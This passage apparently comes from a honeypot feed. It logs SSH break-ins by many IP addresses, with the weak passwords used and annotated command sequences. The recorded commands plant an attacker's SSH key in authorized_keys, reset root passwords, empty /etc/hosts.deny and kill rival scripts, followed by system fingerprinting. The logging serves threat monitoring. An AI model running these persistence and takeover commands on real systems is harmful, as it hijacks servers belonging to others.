$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 silk_sol (117.50.44.85) — Yangpu, China · 1 session · 20 cmds

2026-07-02 16:48 EDT · as saf/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\n66lertf8W3cD\n66lertf8W3cD"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\n66lertf8W3cD\n66lertf8W3cD\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_6 (179.48.248.245) — San José, Costa Rica · 1 session · 20 cmds

2026-07-02 15:59 EDT · as user/Admin@1234

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Admin@1234\nVGxsP6XNkZiJ\nVGxsP6XNkZiJ"|passwd|bash

$ Enter new UNIX password:

$ echo "Admin@1234\nVGxsP6XNkZiJ\nVGxsP6XNkZiJ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 sakura_root_3 (43.153.185.56) — Tokyo, Japan · 1 session · 19 cmds

2026-07-02 15:58 EDT · as root/99

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:5cWwv1zFslXP"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 dutch_root_2 (83.83.112.125) — Utrecht, The Netherlands · 1 session · 19 cmds

2026-07-02 15:49 EDT · as root/2wsx3edc$rfv

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:FXv0YV9sZQ53"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 lantern_root_10 (171.220.244.134) — Chengdu, China · 1 session · 19 cmds

2026-07-02 14:33 EDT · as root/!qaz@wsx123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:8e61noLftbjj"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 jade_root_13 (120.48.123.76) — Beijing, China · 1 session · 19 cmds

2026-07-02 14:11 EDT · as root/Abcd123$%^

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:LGXwovjvd5oJ"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_4 (2.229.200.226) — Milan, Italy · 1 session · 20 cmds

2026-07-02 14:02 EDT · as forumtest/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nAZKF3Fwu3Jlz\nAZKF3Fwu3Jlz"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nAZKF3Fwu3Jlz\nAZKF3Fwu3Jlz\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_38 (163.7.12.183) — Yogyakarta, Indonesia · 1 session · 19 cmds

2026-07-02 12:59 EDT · as root/root@admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:f0aoAwfknMAq"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 jade_root_14 (120.48.135.189) — Beijing, China · 1 session · 2 cmds

2026-07-02 12:19 EDT · as root/root!@#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

🎭 wraith_root_9 (217.170.194.91) — Oslo, Norway · 2 sessions · 2 cmds

2026-07-02 11:12 EDT · as bitcoind/bitcoind

echo

$ echo "test" ×2

🎭 tulip_root_6 (84.85.8.149) — Huis ter Heide, The Netherlands · 1 session · 1 cmd

2026-07-02 11:11 EDT · as root/Admin@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 lantern_root_11 (58.210.7.34) — Suzhou, China · 1 session · 1 cmd

2026-07-02 10:47 EDT · as root/------fuck------

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 shadow_sol (155.103.69.40) — Istanbul, Türkiye · 4 sessions · 4 cmds

2026-06-29 18:44 EDT · as deploy/1, root/1234, root/123456

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×4

🎭 star_pi (35.188.112.111) — Council Bluffs, United States · 1 session · 2 cmds

2026-07-02 08:13 EDT · as adult/123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

🎭 star_root_13 (209.54.105.253) — Los Angeles, United States · 1 session · 1 cmd

2026-07-02 07:17 EDT · as root/Test@2022

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 k-pop_root_5 (43.155.207.136) — Seoul, South Korea · 2 sessions · 21 cmds

2026-07-02 06:32 EDT · as root/Asd123.., root/abcABC@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:ARi2ZOErX8r3"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_root_37 (220.247.224.226) — Avissawella, Sri Lanka · 2 sessions · 4 cmds

2026-07-02 06:41 EDT · as root/Asd123.., root/abcABC@123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

🎭 wraith_root_38 (123.25.115.112) — Hanoi, Vietnam · 1 session · 2 cmds

2026-07-02 06:57 EDT · as root/Asd123..

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

🎭 cipher_root_39 (110.164.228.242) — Pak Kret, Thailand · 1 session · 2 cmds

2026-07-02 06:53 EDT · as root/abcABC@123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

🎭 burger_root_8 (20.245.71.147) — San Francisco, United States · 1 session · 2 cmds

2026-07-02 06:41 EDT · as root/qq@123456789

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

🎭 rogue_root_41 (123.25.115.189) — Hanoi, Vietnam · 1 session · 2 cmds

2026-07-02 06:34 EDT · as root/abcABC@123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

🎭 ghost_root_35 (43.129.44.66) — Jakarta, Indonesia · 1 session · 19 cmds

2026-07-02 06:32 EDT · as root/zaq1@WSX

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:wW8kCymcCecr"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 star_root_14 (166.148.146.247) — West Monroe, United States · 1 session · 19 cmds

2026-07-02 06:26 EDT · as root/qq@123456789

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

